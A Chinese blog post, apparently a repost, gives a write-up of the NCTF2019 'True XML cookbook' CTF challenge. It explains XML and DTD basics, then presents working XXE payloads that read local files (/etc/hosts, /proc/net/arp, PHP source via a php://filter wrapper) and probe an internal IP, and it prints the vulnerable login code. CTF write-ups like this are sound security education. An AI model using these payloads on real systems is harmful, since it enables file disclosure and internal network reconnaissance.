我是靠谱客的博主 温婉眼神,最近开发中收集的这篇文章主要介绍[NCTF2019]True XML cookbook 什么是DTO?,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

打开环境,看到熟悉的页面,和前面的[NCTF2019]Fake XML cookbook页面一样,应该也是XXE漏洞,这里再介绍一下XXE漏洞

XXE(XML External Entity Injection)全称为XML外部实体注入。

XML是什么?

XML指可扩展标记语言(EXtensible Markup Language),其设计宗旨是传输数据,而不是显示数据,用来结构化、存储以及传输信息,它没有预定义的标签。XML 和 HTML 之间的差异是什么?

设计目的不同:XML 被设计用来传输和存储数据,其焦点是数据的内容。HTML 被设计用来显示数据,其焦点是数据的外观。HTML 旨在显示信息,而 XML 旨在传输信息。

总的来说:我们希望能在计算机中保存和处理这些数据的同时能够保存和处理他们之间的关系。XML就是为了解决这样的需求而产生数据存储格式。

XML基本格式与基本语法:

基本格式:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>               <!--xml文件的声明-->

<bookstore>                                                                                          <!--根元素-->

<book category="COOKING">                             <!--bookstore的子元素,category为属性-->

<title>Everyday Italian</title>                                <!--book的子元素,lang为属性-->

<author>Giada De Laurentiis</author>                 <!--book的子元素-->

<year>2005</year>                                               <!--book的子元素-->

<price>30.00</price>                                             <!--book的子元素-->

</book>                                                                  <!--book的结束-->

</bookstore>                                                          <!--bookstore的结束-->

 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> 称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。

standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。

基本语法:

  • 所有 XML 元素都须有关闭标签。
  • XML 标签对大小写敏感。
  • XML 必须正确地嵌套。
  • XML 文档必须有根元素。
  • XML 的属性值须加引号。

 什么是DTO?

DTD基本概念
XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的。
DTD用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。是XML文档中的几条语句,用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体。

实体引用
XML元素以形如 <tag>foo</tag> 的标签开始和结束,如果元素内部出现如< 的特殊字符,解析就会失败,为了避免这种情况,XML用实体引用(entity reference)替换特殊字符。XML预定义五个实体引用,即用&lt; &gt; &amp; &apos; &quot; 替换 < > & ' " 。
实体引用可以起到类似宏定义和文件包含的效果,为了方便,我们会希望自定义实体引用,这个操作在称为 Document Type Defination(DTD,文档类型定义)的过程中进行。

DTD的引入方式
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
 

内部 DTD
使用内部的dtd文件,即将约束规则定义在xml文档中

<!DOCTYPE 根元素名称 [元素声明]>

 外部 DTD
(1)引入外部的dtd文件

<!DOCTYPE 根元素名称 SYSTEM "dtd路径">

(2)使用外部的dtd文件(网络上的dtd文件)

<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">

当使用外部DTD时,通过如下语法引入:

<!DOCTYPE root-element SYSTEM "filename">

 其他更多的相关基础知识看看这篇博客:https://xz.aliyun.com/t/6887#toc-0

回到此题,提交数据抓包后:

 发现是xxe漏洞,试试用file协议直接读取一下flag:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
 <!ENTITY abc SYSTEM "file:///flag">
 ]>
<user><username>&abc;</username><password>123456</password></user>

 没成功,多半说明是没有/flag这个文件才报的错,知道了路径,读一下源码:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
 <!ENTITY abc SYSTEM "file:///var/www/html/doLogin.php">
 ]>
<user><username>&abc;</username><password>123456</password></user>

 

 

file协议没成功,那就用php协议:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
 <!ENTITY abc SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php">
 ]>
<user><username>&abc;</username><password>123456</password></user>

成功读取,解密得:

<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	$creds = simplexml_import_dom($dom);

	$username = $creds->username;
	$password = $creds->password;

	if($username == $USERNAME && $password == $PASSWORD){
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
	}else{
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
	}	
}catch(Exception $e){
	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

没啥用,丝毫没有看到有帮助的信息。

还有一个知识xxe可以内网探测存活的主机,获取/etc/hosts文件,我们分别读取关键文件:/etc/hosts 和 /proc/net/arp:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
 <!ENTITY abc SYSTEM "file:///etc/hosts">
 ]>
<user><username>&abc;</username><password>123456</password></user>

 

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
 <!ENTITY abc SYSTEM "file:///proc/net/arp">
 ]>
<user><username>&abc;</username><password>123456</password></user>

这里就发现了一个ip了,尝试读取 :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
 <!ENTITY abc SYSTEM "http://10.0.2.2">
 ]>
<user><username>&abc;</username><password>123456</password></user>

有报错,使用intruder扫描c段,即扫描一下ip最后一位:

 

 得到答案

总的来说,主机上面没有flag,需要去看hosts文件看看内网的主机是否有flag

最后

以上就是温婉眼神为你收集整理的[NCTF2019]True XML cookbook 什么是DTO?的全部内容,希望文章能够帮你解决[NCTF2019]True XML cookbook 什么是DTO?所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(33)

评论列表共有 0 条评论

立即
投稿
返回
顶部